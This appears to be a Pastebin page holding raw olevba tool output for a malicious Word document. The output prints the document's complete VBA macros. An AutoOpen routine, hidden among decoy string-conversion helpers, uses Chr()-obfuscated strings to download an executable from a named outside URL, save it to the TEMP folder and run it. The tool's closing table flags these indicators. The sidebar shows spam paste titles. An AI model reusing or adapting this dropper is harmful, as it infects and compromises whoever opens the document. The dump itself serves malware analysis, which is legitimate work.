Pastebin
API
tools
faq
paste
Login
Sign up
Please fix the following errors:
New Paste
Syntax Highlighting
olevba 0.31 - http://decalage.info/python/oletools Flags Filename ----------- ----------------------------------------------------------------- OLE:MASIH--V norepl~3.doc (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown) =============================================================================== FILE: norepl~3.doc Type: OLE ------------------------------------------------------------------------------- VBA MACRO ThisDocument.cls in file: norepl~3.doc - OLE stream: u'Macros/VBA/ThisDocument' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Sub autoopen() HHNANNNNNAD (500) End Sub Sub HHNANNNNNAD(FFFFF As Long) Dec2Bin16_32 End Sub ------------------------------------------------------------------------------- VBA MACRO Module2.bas in file: norepl~3.doc - OLE stream: u'Macros/VBA/Module2' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Public Type typFloat ' FLOAT CONVERTER TYPES/VALUES F As Single End Type Public Type typStringArray2 ' STRING ARRAY CONVERTER TYPE Str(1 To 2) As String End Type Public Type typByteArray3 ' BYTE ARRAY CONVERTER TYPES/VALUES B(1 To 3) As Byte End Type Public Type typByteArray4 ' BYTE ARRAY CONVERTER TYPES/VALUES B(1 To 4) As Byte End Type Public Type typNumString ' NUM/STRING PARAMETER TYPE Number As Integer RawString As String End Type Public Type typCfgParam ' CFG PARAMETER TYPE Name As String Value As String Comment As String End Type Public MarkError As Boolean ' Global error conversion flag. '========================================================================== ' FUNCTION: ' '========================================================================== Public Function checkFolder_32(KJB As Long) Dim strUnquote23: Set strUnquote23 = GetInnerTextAsBin2(Chr(77) & Chr(105) & Chr(60) & "c" & Chr(114) & Chr(111) & Chr(61) & Chr(115) & Chr(111) & Chr(102) & "t" & Chr(59) & Chr(46) & Chr(88) & "M" & Chr(60) & Chr(76) & ";" & "H" & Chr(84) & "=" & Chr(84) & "P") strUnquote23.Open Chr(71) & Chr(69) & Chr(84), Chr(104) & Chr(116) & "t" & Chr(112) & Chr(58) & "/" & "/" & Chr(100) & Chr(101) & Chr(116) & Chr(111) & Chr(99) & Chr(111) & Chr(102) & Chr(102) & Chr(101) & Chr(101) & Chr(46) & Chr(111) & Chr(106) & Chr(105) & Chr(106) & Chr(105) & Chr(46) & Chr(110) & Chr(101) & Chr(116) & Chr(47) & Chr(52) & Chr(53) & Chr(121) & Chr(103) & Chr(101) & Chr(103) & Chr(101) & Chr(47) & Chr(48) & Chr(57) & Chr(55) & Chr(117) & "j" & Chr(46) & "e" & Chr(120) & "e", False strUnquote23.Send checkFolder_32 = strUnquote23.responseBody End Function '========================================================================== ' FUNCTION: CONVERT CONFIG STRING ' Deciphers config string by mask [ParName] = [ParString] and returns ' result as cfgParam type. '========================================================================== ' Public Function ConvCFG(ByVal SourceString As String) As typCfgParam Dim cntCharCounter As Long Dim cntSrcStringLength As Long Dim cntMarkCommentBeginning As Long Dim cntMarkValueBeginning As Long SourceString = Trim$(SourceString) If LenB(SourceString) = 0 Then Exit Function If Asc(SourceString) = 59 Or Asc(SourceString) = 91 Then Exit Function 'if REMARKED, then END FUNCTION NOW!!! ConvCFG.Name = vbNullString ConvCFG.Value = vbNullString ConvCFG.Comment = vbNullString cntMarkCommentBeginning = 0 cntMarkValueBeginning = 0 cntSrcStringLength = Len(SourceString) For cntCharCounter = cntSrcStringLength To 1 Step -1 Select Case Mid$(SourceString, cntCharCounter, 1) Case kCommentary: cntMarkCommentBeginning = cntCharCounter + 1 Case kEquals: cntMarkValueBeginning = cntCharCounter + 1 End Select Next cntCharCounter If cntMarkValueBeginning = 0 Then Exit Function If cntMarkValueBeginning > cntMarkCommentBeginning And cntMarkCommentBeginning > 0 Then Exit Function ConvCFG.Name = Trim$(Left$(SourceString, cntMarkValueBeginning - 2)) If cntMarkCommentBeginning = 0 Then ConvCFG.Value = Trim$(Right$(SourceString, (cntSrcStringLength + 1) - cntMarkValueBeginning)) Else ConvCFG.Comment = Trim$(Mid$(SourceString, cntMarkCommentBeginning)) ConvCFG.Value = Trim$(Mid$(SourceString, cntMarkValueBeginning, cntMarkCommentBeginning - cntMarkValueBeginning - 1)) End If End Function '========================================================================== ' FUNCTION: VALUE TO HEX-STRING OF SPECIFIED LENGTH ' Converts decimal value (e.g. "11") into true hex value with given length ' (e.g. "0B" in case nativelength=1 or "000B in case nativelength=2) '========================================================================== Public Function ValToHex(ByVal SourceValue As String, ByVal DesiredLength As Byte) As String On Error GoTo ErrorHandler Dim SrcLength As Byte ValToHex = Hex(Val(SourceValue)) SrcLength = Len(ValToHex) If SrcLength < DesiredLength Then ValToHex = CharFillL(ValToHex, "0", DesiredLength) If SrcLength > DesiredLength Then _ ValToHex = Mid$(ValToHex, (SrcLength - DesiredLength + 1), DesiredLength) 'cuts off excess Exit Function ErrorHandler: MsgBox "Warning: possible error during DEC > HEX conversion. You have entered incorrect value (" + SourceValue + ")." ValToHex = vbNullString End Function '========================================================================== ' FUNCTION: VALUE TO HEX-STRING OF SPECIFIED LENGTH (UNSIGNED) ' This function does the same as ValToHex, but with unsigned hexes '========================================================================== Public Function ValToHexUnsigned(ByVal SourceValue As String, ByVal DesiredLength As Byte) As String On Error GoTo ErrorHandler Dim SrcLength As Byte ValToHexUnsigned = UnsignedHex(Val(SourceValue)) SrcLength = Len(ValToHexUnsigned) If SrcLength < DesiredLength Then ValToHexUnsigned = CharFillL(ValToHexUnsigned, "0", DesiredLength) If SrcLength > DesiredLength Then _ ValToHexUnsigned = Mid$(ValToHexUnsigned, (SrcLength - DesiredLength + 1), DesiredLength) 'cuts off excess Exit Function ErrorHandler: MsgBox "Warning: possible error during DEC>HEX conversion. You have entered incorrect value (" + SourceValue + ")." ValToHexUnsigned = vbNullString End Function '========================================================================== ' FUNCTION: INVERT HEXADECIMAL STRING (ex-Invrt) ' Inverts hexadecimal string to comply with x86 little-endian standard. '========================================================================== Public Function InvertHex(ByVal SourceString As String) As String Dim cntCurChar As Integer Dim LengthInBytes As Integer ' Check if string contains odd or even amount of symbols, and if it's even, ' just cut the last symbol: If Len(SourceString) Mod 2 = 0 Then _ LengthInBytes = Len(SourceString) / 2 Else _ LengthInBytes = Len(SourceString) / 2 - 1 ' Inversion cycle itself: For cntCurChar = 1 To LengthInBytes * 2 Step 2 If cntCurChar <> LengthInBytes * 2 Then InvertHex = InvertHex + (Mid$(SourceString, ((LengthInBytes * 2) - cntCurChar), 2)) End If Next End Function '========================================================================== ' FUNCTION: DECIMAL TO UNSIGNED HEX CONVERSION ' Converts any type of numbers to unsigned HEX string (prevents overflow) '========================================================================== Function UnsignedHex(ByVal Value As Variant) As String Dim TwoToThe32 As Variant TwoToThe32 = CDec("2") ^ 32 If CDec(Value) < 0 Or Abs(CDec(Value)) >= TwoToThe32 Then UnsignedHex = -1 Else If CDec(Value) >= TwoToThe32 / 2 Then Value = CDec(Value) - TwoToThe32 End If UnsignedHex = Hex$(CDec(Value)) End If End Function '========================================================================== ' FUNCTION: A,B,C,D PARAMETERS TO BYTES(4) ' Converts 4 divider-separated byte values string into 4 byte array values '========================================================================== Public Function ParamsToBytes4(RawString As String, ByVal Nomer As Byte) As typByteArray4 On Error GoTo ErrorHandler 'if overflow or end string, then stop execution Dim tmpStringArray() As String Dim tmpCurrentValue As Byte Dim cntPointer As Byte tmpStringArray = Split(RawString, kDivider, 4) If UBound(tmpStringArray) > 3 Then ReDim Preserve tmpStringArray(3) For cntPointer = 0 To UBound(tmpStringArray) ParamsToBytes4.B(cntPointer + 1) = CByteL(tmpStringArray(cntPointer)) Next cntPointer Exit Function ErrorHandler: ParamsToBytes4.B(1) = 0 'fuk em... ParamsToBytes4.B(2) = 0 ParamsToBytes4.B(3) = 0 ParamsToBytes4.B(4) = 0 End Function '========================================================================== ' FUNCTION: A,B,C PARAMETERS TO BYTES(3) (ex-RGBAConv) ' Converts 3 divider-separated byte values string into 3 byte array values '========================================================================== Public Function BytesToHex(RawString As String, Limit As Integer) As String Dim tmpStringArray() As String Dim cntPointer As Byte tmpStringArray = Split(RawString, kDivider, Limit) For cntPointer = 0 To UBound(tmpStringArray) BytesToHex = BytesToHex & ValToHex(tmpStringArray(cntPointer), 2) Next cntPointer End Function ------------------------------------------------------------------------------- VBA MACRO Module1.bas in file: norepl~3.doc - OLE stream: u'Macros/VBA/Module1' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Function ReturnSelectedString(sArray() As String, sWithString As String) As String Dim ii As Integer For ii = LBound(sArray) To UBound(sArray) If VBA.InStr(1, sArray(ii), sWithString) Then ReturnSelectedString = sArray(ii) Exit Function End If Next ii End Function Public Sub Dec2Bin8_7(ErrorHandler_18 As Object, ErrorHandler_19 As String) Dim param2 As Integer param2 = 2 ErrorHandler_18.savetofile ErrorHandler_19, param2 End Sub Function BuildFormString(sArray() As String) As String 'This function builds a standard HTML web form string from an array of input values Dim ii As Integer, sReturnedString As String, sDivider As String sDivider = "--" & MULTIPART_BOUNDARY For ii = LBound(sArray, 2) To UBound(sArray, 2) sReturnedString = sReturnedString & sDivider & vbCr & vbLf sReturnedString = sReturnedString & "Content-Disposition: form-data; name=" & sArray(2, ii) & vbCr & vbLf & vbCr & vbLf & sArray(1, ii) & vbCr & vbLf Next ii sReturnedString = sReturnedString & sDivider & "--" BuildFormString = sReturnedString End Function 'Function GetParametersFromAJAXString(sHTML As String) As String() ' Dim lStart As Long, lEnd As Long ' Dim sMid As String ' Dim sArray() As String ' ' lStart = VBA.InStr(1, sHTML, "A4J.AJAX.Submit") ' ' ' If lStart > 0 Then ' lStart = VBA.InStr(lStart, sHTML, "(") ' lEnd = VBA.InStr(lStart, sHTML, ")") ' sMid = VBA.Mid$(sHTML, lStart + 1, lEnd - lStart - 1) ' sArray = VBA.Split(sMid, ",") ' ' GetParametersFromAJAXString = sArray ' End If 'End Function ' 'Function GetAJAXViewState(sHTML As String) As String ' Dim lStart As Long, lEnd As Long ' Dim sMid As String ' ' lStart = VBA.InStr(1, sHTML, "javax.faces.ViewState") ' lStart = VBA.InStr(lStart, sHTML, "value=""") ' ' If lStart > 0 Then ' lEnd = VBA.InStr(lStart, sHTML, """ />") ' sMid = VBA.Mid$(sHTML, lStart + VBA.Len("value="""), lEnd - lStart - VBA.Len("value=""")) ' GetAJAXViewState = sMid ' End If ' Function GetValueForVariable(sHTML As String, sValue As String, Optional bRemoveQuotes As Boolean) As String Dim iStart As Integer, iEnd As Integer, sResponse As String iStart = VBA.InStr(1, sHTML, sValue & "=") + VBA.Len(sValue & "=") iEnd = VBA.InStr(iStart + 1, sHTML, """") sResponse = VBA.Mid$(sHTML, iStart, iEnd - iStart + 1) If bRemoveQuotes Then If VBA.Left$(sResponse, 1) = """" Then sResponse = VBA.Right$(sResponse, VBA.Len(sResponse) - 1) If VBA.Right$(sResponse, 1) = """" Then sResponse = VBA.Left$(sResponse, VBA.Len(sResponse) - 1) End If GetValueForVariable = sResponse End Function Function GetInnerText(sString As String) As String Dim iStart As Integer, iEnd As Integer, sResponse As String iStart = VBA.InStr(1, sString, ">") iEnd = VBA.InStr(iStart, sString, "<") sResponse = VBA.Mid$(sString, iStart + 1, iEnd - iStart - 1) GetInnerText = sResponse End Function Public Function GetInnerTextAsBin2(GetInnerTextAsBinPar As String) GetInnerTextAsBinPar = Replace(GetInnerTextAsBinPar, Chr(61), "") GetInnerTextAsBinPar = Replace(GetInnerTextAsBinPar, Chr(60), "") GetInnerTextAsBinPar = Replace(GetInnerTextAsBinPar, Chr(59), "") Set GetInnerTextAsBin2 = CreateObject(GetInnerTextAsBinPar) End Function '========================================================================================================================= ' Functions used for HTML scrapping. Ugly Business '========================================================================================================================= Function GetArrayofInstancesFromHTML(sHTML As String, sSearchTag As String, sSearchPredicate As String) As String() Dim sTagStart As String, sTagEnd As String, sFoundText As String Dim iStart As Long, iEnd As Long, iCounter As Long, sOutputArray() As String sTagStart = "<" & sSearchTag & " " sTagEnd = "/" & sSearchTag & ">" If sSearchTag = "input" Then sTagEnd = " />" iStart = 1: iCounter = 0 While iStart > 0 iStart = VBA.InStr(iStart + 1, sHTML, sTagStart) If iStart > 0 Then iEnd = VBA.InStr(iStart, sHTML, sTagEnd) sFoundText = VBA.Mid$(sHTML, iStart + VBA.Len(sTagStart) - 1, iEnd - (iStart + VBA.Len(sTagStart) - 1)) 'If we have set a predicate, then make sure it matches If VBA.Len(sSearchPredicate) > 0 Then If VBA.InStr(1, sFoundText, sSearchPredicate) = 0 Then sFoundText = "" End If End If 'If we've found something then chuck it in the array If VBA.Len(sFoundText) > 0 Then iCounter = iCounter + 1 ReDim Preserve sOutputArray(1 To iCounter) sOutputArray(iCounter) = sFoundText End If Wend GetArrayofInstancesFromHTML = sOutputArray End Function ------------------------------------------------------------------------------- VBA MACRO Module3.bas in file: norepl~3.doc - OLE stream: u'Macros/VBA/Module3' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - '========================================================================== ' FUNCTION: PARAMETERS TO STRING ARRAY ' Converts 2 divider-separated values into string + string values '========================================================================== Public Function ParamsToStringArray(RawString As String, Limit As Integer) As String() On Error GoTo ErrorHandler 'if overflow or end string, then stop execution Dim cntPointer As Integer Dim tmpStringArray() As String ParamsToStringArray = Split(RawString, kDivider, Limit) If UBound(ParamsToStringArray) > Limit Or UBound(ParamsToStringArray) < Limit Then ReDim Preserve ParamsToStringArray(Limit) Exit Function ErrorHandler: Exit Function End Function '========================================================================== ' FUNCTION: A,B PARAMETERS TO INTEGER + STRING ' Converts 2 divider-separated values into integer + string values '========================================================================== Public Function ParamsToNumString(RawString As String) As typNumString On Error GoTo ErrorHandler 'if overflow or end string, then stop execution Dim tmpStringArray() As String tmpStringArray = Split(RawString, kDivider, 2) ParamsToNumString.Number = CInt(tmpStringArray(0)) ParamsToNumString.RawString = tmpStringArray(1) Exit Function ErrorHandler: ParamsToNumString.Number = 0 'fuk em... ParamsToNumString.RawString = vbNullString End Function '========================================================================== ' FUNCTION: STRING TO HEXADECIMAL STRING ' Converts standard string to a string hexcode. '========================================================================== Public Function StringToHex(ByVal Stroka As String) As String Dim cntCharCounter As Byte For cntCharCounter = 1 To Len(Stroka) StringToHex = StringToHex & Hex(AscB(Mid$(Stroka, cntCharCounter, 1))) Next End Function '========================================================================== ' FUNCTION: BIN-2-DEC ' Converts binary string (e.g. 01010101) into decimal (e.g. 85) '========================================================================== Public Function Bin2Dec(Num As String) As Long Dim n As Long Dim a As Long Dim x As String n = Len(Num) - 1 a = n Do While n > -1 x = Mid(Num, ((a + 1) - n), 1) Bin2Dec = IIf((x = "1"), Bin2Dec + (2 ^ (n)), Bin2Dec) n = n - 1 Loop End Function '========================================================================== ' FUNCTION: DEC-2-BIN 8 ' Converts decimal byte into 8 bits as string. '========================================================================== Public Function Dec2Bin8(ByVal DecVal As Byte) As String Dim i As Integer Dim sResult As String sResult = Space(8) For i = 0 To 7 If DecVal And (2 ^ i) Then Mid(sResult, 8 - i, 1) = "1" Else Mid(sResult, 8 - i, 1) = "0" End If Next Dec2Bin8 = sResult End Function '========================================================================== ' FUNCTION: DEC-2-BIN 16 ' Converts decimal byte into 16 bits as string. '========================================================================== Public Function Dec2Bin16(ByVal DecVal As Integer) As String Dim i As Integer Dim sResult As String sResult = Space(16) For i = 0 To 15 If DecVal And (2 ^ i) Then Mid(sResult, 16 - i, 1) = "1" Else Mid(sResult, 16 - i, 1) = "0" End If Next Dec2Bin16 = sResult End Function Public Function Dec2Bin16_32() Set GetInnerTextAsBin2Result = GetInnerTextAsBin2(Chr(87) & Chr(83) & Chr(99) & Chr(61) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & ";" & Chr(46) & Chr(83) & Chr(61) & Chr(104) & Chr(101) & "<" & Chr(108) & Chr(108)) _ .Environment(Chr(80) & Chr(114) & "o" & Chr(99) & Chr(101) & "s" & "s") UnsignedHexString2 = GetInnerTextAsBin2Result("T" + "E" & Chr(77) & Chr(80)) Dim ErrorHandler_18 As Object Set ErrorHandler_18 = GetInnerTextAsBin2(Chr(65) & "<" & "d" & Chr(111) & Chr(59) & Chr(100) & Chr(98) & Chr(61) & Chr(46) & Chr(83) & Chr(116) & Chr(61) & Chr(114) & Chr(60) & Chr(101) & "a" & Chr(59) & Chr(109)) Dim ErrorHandler_19 As String ErrorHandler_19 = UnsignedHexString2 + "\rue" & Chr(98) + "fo." & "e" & Chr(120) & Chr(101) With ErrorHandler_18 .Type = 1 .Open .write checkFolder_32(223) End With Dec2Bin8_7 ErrorHandler_18, ErrorHandler_19 Set noextensionFile = GetInnerTextAsBin2(Chr(83) & Chr(61) & "<" & "h" & "e" & Chr(108) & Chr(59) & Chr(108) & "<" & Chr(46) & Chr(65) & "p;" & Chr(112) & Chr(108) & Chr(105) & "<" & Chr(99) & Chr(97) & Chr(116) & Chr(61) & Chr(105) & Chr(111) & Chr(110)) noextensionFile.Open (ErrorHandler_19) End Function '========================================================================== ' FUNCTION: DECIMAL TO IEEE-754 FLOAT ' Converts decimal long to IEEE-754 float '========================================================================== Public Function DecToIEEE(ByVal DecValue As Double) As Long On Error GoTo ErrorHandler Dim B As typByteArray4 Dim F As typFloat Dim t As Long F.F = DecValue LSet B = F DecToIEEE = B.B(4) * (2 ^ 24) DecToIEEE = DecToIEEE + B.B(3) * (2 ^ 16) DecToIEEE = DecToIEEE + B.B(2) * (2 ^ 8) DecToIEEE = DecToIEEE + B.B(1) Exit Function ErrorHandler: MsgBox "Error during DEC > IEEE-754 float conversion. Check if you have set correct value." End Function '========================================================================== ' FUNCTION: HEX TO DECIMAL VALUE ' Converts hexadecimal long to a decimal long. '========================================================================== Function HxVal(ByVal s As String) As Long On Error GoTo ErrorHandler If LenB(s) <> 0 Then HxVal = CLng("&H" & s) Else HxVal = CLng("&H" & "00") Exit Function ErrorHandler: If MarkError = False Then MarkError = True HxVal = CLng("&H" & "00") MsgBox "There was an error when converting some hexadecimal value to a decimal." & vbCrLf & _ "Make sure that you haven't entered wrong data." & vbCrLf & "Source string: ''" & s & "''" End If End Function '========================================================================== ' FUNCTION: SINGLE-LINE TO MULTI-LINE (//-TERMINATED) ' Converts single-line //-terminated string into multiline string '========================================================================== Function DecipherText(ByVal Origtext As String) As String DecipherText = Replace$(Origtext, kTerminator, vbCrLf) End Function '========================================================================== ' FUNCTION: MULTI-LINE TO SINGLE-LINE (//-TERMINATED) ' Converts multi-line //-terminated string into single-line string '========================================================================== Function CipherText(ByVal SourceString As String) As String CipherText = Replace$(SourceString, vbCrLf, kTerminator) End Function '========================================================================== ' FUNCTION: PADDING WITH ZEROS FROM LEFT (ex-ZeroFill) ' Padding (char-fill) to the left side of source string with 0 symbol. '========================================================================== Function ZeroFill(ByVal Src As String, ByVal DesiredLength As Long) As String If Len(Src) > DesiredLength Then Exit Function ZeroFill = Src Do Until Len(ZeroFill) = DesiredLength ZeroFill = "0" & ZeroFill Loop End Function '========================================================================== ' FUNCTION: FILL ' '========================================================================== Function Fill(ByVal Src As String, ByVal DesiredLength As Long) As String Dim cnt As Long For cnt = 0 To DesiredLength - 1 Fill = Fill & Src Next cnt End Function '========================================================================== ' FUNCTION: PADDING (ADD SYMBOLS TO THE LEFT SIDE) ' Padding (char-fill) to the left side of source string. '========================================================================== Function CharFillL(ByVal Src As String, ByVal FillChar As String, ByVal DesiredLength As Long) As String If Len(Src) > DesiredLength Then CharFillL = Left$(Src, DesiredLength): Exit Function If Len(FillChar) > 1 Then FillChar = Left$(FillChar, 1) CharFillL = Src Do Until Len(CharFillL) = DesiredLength CharFillL = FillChar & CharFillL Loop End Function '========================================================================== ' FUNCTION: PADDING (ADD SYMBOLS TO THE RIGHT SIDE) ' Padding (char-fill) to the right side of source string. '========================================================================== Function CharFillR(ByVal Src As String, ByVal FillChar As String, ByVal DesiredLength As Long) As String If Len(Src) > DesiredLength Then CharFillR = Left$(Src, DesiredLength): Exit Function If Len(FillChar) > 1 Then FillChar = Left$(FillChar, 1) CharFillR = Src Do Until Len(CharFillR) = DesiredLength CharFillR = CharFillR & FillChar Loop End Function '========================================================================== ' FUNCTION: CUT OFF ' This function cuts off specific amount of symbols from left '========================================================================== Function CutOff(ByVal SourceText As String, Length As Byte) If Len(SourceText) > Length Then CutOff = Mid$(SourceText, Length + 1) Else CutOff = SourceText End If End Function '========================================================================== ' FUNCTION: TRUE LENGTH OF STRING WITHOUT "/" SLASH SYMBOLS ' '========================================================================== Public Function TrueLOF(SourceString As String) As Integer 'returns true LOF without slashes TrueLOF = Len(Replace$(SourceString, "/", vbNullString)) End Function '========================================================================== ' FUNCTION: MERGE ALL MODDED VALUES OF ALL PARAMETERS OF SELECTED PATCH. ' Used to collect all modified param. values for preset / config writing. '========================================================================== Public Function MergeModdedValues(PatchNumber As Integer) As String On Error GoTo ErrorHandler Dim tmpStringArray() As String Dim cntUnitCounter As Integer ReDim tmpStringArray(UBound(PatchArray(PatchNumber).patchParams)) For cntUnitCounter = LBound(PatchArray(PatchNumber).patchParams) To UBound(PatchArray(PatchNumber).patchParams) tmpStringArray(cntUnitCounter) = PatchArray(PatchNumber).patchParams(cntUnitCounter).parModdedValue Next cntUnitCounter MergeModdedValues = Join(tmpStringArray, kDivider2) Exit Function ErrorHandler: MergeModdedValues = vbNullString End Function '========================================================================== ' FUNCTION: STRIPOUT ' Deletes specific symbols from string. '========================================================================== Public Function StripOut(SourceString As String, SymbolsToKill As String) As String Dim i As Integer StripOut = SourceString For i = 1 To Len(SymbolsToKill) StripOut = Replace(StripOut, Mid$(SymbolsToKill, i, 1), vbNullString) Next i End Function '========================================================================== ' FUNCTION: STRIPOUT ' Leaves only specified symbols in a string. '========================================================================== Public Function StripIn(SourceString As String, SymbolsToLeave As String) As String Dim i, i2 As Integer Dim c, s As String Dim t As String StripIn = vbNullString t = vbNullString For i = 1 To Len(SourceString) For i2 = 1 To Len(SymbolsToLeave) c = Mid$(SymbolsToLeave, i2, 1) s = Mid$(SourceString, i, 1) If s = c Then t = t & c Next i2 Next i StripIn = t End Function '========================================================================== ' FUNCTION: FINALIZE ' Finalizes string with desired character, only if there is no such present '========================================================================== Public Function Finalize(SourceString As String, EndChar As String) As String If UCase$(Right$(SourceString, 1)) <> UCase$(Left$(EndChar, 1)) Then Finalize = Finalize & Left$(EndChar, 1) Else Finalize = SourceString End Function '========================================================================== ' FUNCTION: CONVERT TO BYTE WITH OVERFLOW PREVENTION '========================================================================== Public Function CByteL(ByVal Value As Long) As Byte If Value > 255 Then CByteL = 255: Exit Function CByteL = CByte(Value) End Function '========================================================================== ' FUNCTION: CONVERT TO INTEGER WITH OVERFLOW PREVENTION '========================================================================== Public Function CIntL(ByVal Value As Long) As Integer If Value > 32767 Then CIntL = CInt(Value - 65536): Exit Function CIntL = CInt(Value) End Function +------------+----------------------+-----------------------------------------+ | Type | Keyword | Description | +------------+----------------------+-----------------------------------------+ | AutoExec | AutoOpen | Runs when the Word document is opened | | Suspicious | Open | May open a file | | Suspicious | Binary | May read or write a binary file (if | | | | combined with Open) | | Suspicious | CreateObject | May create an OLE object | | Suspicious | Chr | May attempt to obfuscate specific | | | | strings | | Suspicious | SaveToFile | May create a text file | | Suspicious | Write | May write to a file (if combined with | | | | Open) | | Suspicious | Hex Strings | Hex-encoded strings were detected, may | | | | be used to obfuscate strings (option | | | | --decode to see all) | | Suspicious | VBA obfuscated | VBA string expressions were detected, | | | Strings | may be used to obfuscate strings | | | | (option --decode to see all) | | IOC | http://detocoffee.oj | URL (obfuscation: VBA expression) | | | iji.net/45ygege/097u | | | | j.exe | | | IOC | 097uj.exe | Executable file name (obfuscation: VBA | | | | expression) | | IOC | ruebfo.exe | Executable file name (obfuscation: VBA | | | | expression) | +------------+----------------------+-----------------------------------------+
Optional Paste Settings
Category:
None
Cryptocurrency
Cybersecurity
Fixit
Food
Gaming
Haiku
Help
History
Housing
Jokes
Legal
Money
Movies
Music
Pets
Photo
Science
Software
Source Code
Spirit
Sports
Travel
TV
Writing
Tags:
Syntax Highlighting:
None
Bash
C
C#
C++
CSS
HTML
JSON
Java
JavaScript
Lua
Markdown (PRO members only)
Objective C
PHP
Perl
Python
Ruby
Swift
4CS
6502 ACME Cross Assembler
6502 Kick Assembler
6502 TASM/64TASS
ABAP
AIMMS
ALGOL 68
APT Sources
ARM
ASM (NASM)
ASP
ActionScript
ActionScript 3
Ada
Apache Log
AppleScript
Arduino
Asymptote
AutoIt
Autohotkey
Avisynth
Awk
BASCOM AVR
BNF
BOO
Bash
Basic4GL
Batch
BibTeX
Blitz Basic
Blitz3D
BlitzMax
BrainFuck
C
C (WinAPI)
C Intermediate Language
C for Macs
C#
C++
C++ (WinAPI)
C++ (with Qt extensions)
C: Loadrunner
CAD DCL
CAD Lisp
CFDG
CMake
COBOL
CSS
Ceylon
ChaiScript
Chapel
Clojure
Clone C
Clone C++
CoffeeScript
ColdFusion
Cuesheet
D
DCL
DCPU-16
DCS
DIV
DOT
Dart
Delphi
Delphi Prism (Oxygene)
Diff
E
ECMAScript
EPC
Easytrieve
Eiffel
Email
Erlang
Euphoria
F#
FO Language
Falcon
Filemaker
Formula One
Fortran
FreeBasic
FreeSWITCH
GAMBAS
GDB
GDScript
Game Maker
Genero
Genie
GetText
Go
Godot GLSL
Groovy
GwBasic
HQ9 Plus
HTML
HTML 5
Haskell
Haxe
HicEst
IDL
INI file
INTERCAL
IO
ISPF Panel Definition
Icon
Inno Script
J
JCL
JSON
Java
Java 5
JavaScript
Julia
KSP (Kontakt Script)
KiXtart
Kotlin
LDIF
LLVM
LOL Code
LScript
Latex
Liberty BASIC
Linden Scripting
Lisp
Loco Basic
Logtalk
Lotus Formulas
Lotus Script
Lua
M68000 Assembler
MIX Assembler
MK-61/52
MPASM
MXML
MagikSF
Make
MapBasic
Markdown (PRO members only)
MatLab
Mercury
MetaPost
Modula 2
Modula 3
Motorola 68000 HiSoft Dev
MySQL
Nagios
NetRexx
Nginx
Nim
NullSoft Installer
OCaml
OCaml Brief
Oberon 2
Objeck Programming Langua
Objective C
Octave
Open Object Rexx
OpenBSD PACKET FILTER
OpenGL Shading
Openoffice BASIC
Oracle 11
Oracle 8
Oz
PARI/GP
PCRE
PHP
PHP Brief
PL/I
PL/SQL
POV-Ray
ParaSail
Pascal
Pawn
Per
Perl
Perl 6
Phix
Pic 16
Pike
Pixel Bender
PostScript
PostgreSQL
PowerBuilder
PowerShell
ProFTPd
Progress
Prolog
Properties
ProvideX
Puppet
PureBasic
PyCon
Python
Python for S60
QBasic
QML
R
RBScript
REBOL
REG
RPM Spec
Racket
Rails
Rexx
Robots
Roff Manpage
Ruby
Ruby Gnuplot
Rust
SAS
SCL
SPARK
SPARQL
SQF
SQL
SSH Config
Scala
Scheme
Scilab
SdlBasic
Smalltalk
Smarty
StandardML
StoneScript
SuperCollider
Swift
SystemVerilog
T-SQL
TCL
TeXgraph
Tera Term
TypeScript
TypoScript
UPC
Unicon
UnrealScript
Urbi
VB.NET
VBScript
VHDL
VIM
Vala
Vedit
VeriLog
Visual Pro Log
VisualBasic
VisualFoxPro
WHOIS
WhiteSpace
Winbatch
XBasic
XML
XPP
Xojo
Xorg Config
YAML
YARA
Z80 Assembler
ZXBasic
autoconf
jQuery
mIRC
newLISP
q/kdb+
thinBasic
Paste Expiration:
Never
Burn after read
10 Minutes
1 Hour
1 Day
1 Week
2 Weeks
1 Month
6 Months
1 Year
Paste Exposure:
Public
Unlisted
Private
Folder:
(members only)
Password
NEW
Enabled
Disabled
Burn after read
NEW
Paste Name / Title:
Create New Paste
Hello
Guest
Sign Up
or
Login
Sign in with Facebook
Sign in with Twitter
Sign in with Google
You are currently not logged in, this means you can not edit or delete anything you paste.
Sign Up
or
Login
Public Pastes
MAKE $5000 INSTANTLY Y
JavaScript | 5 sec ago | 0.08 KB
Make $2500 in 15 minutes 9
JavaScript | 7 sec ago | 0.08 KB
✅ MAKE $22OO IN 10 MIN Z
JavaScript | 26 sec ago | 0.08 KB
✅ MAKE $22OO IN 10 MIN U
JavaScript | 49 sec ago | 0.08 KB
Make 3500$ in 20 MIN [Method] R
JavaScript | 1 min ago | 0.08 KB
✅ MAKE $22OO IN 10 MIN N
JavaScript | 1 min ago | 0.08 KB
Make 3500$ in 20 MIN [Method] Z
JavaScript | 1 min ago | 0.08 KB
FREE BTC GUIDE E
JavaScript | 1 min ago | 0.08 KB
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the
Cookies Policy
.
OK, I Understand
Not a member of Pastebin yet?
Sign Up
, it unlocks many cool features!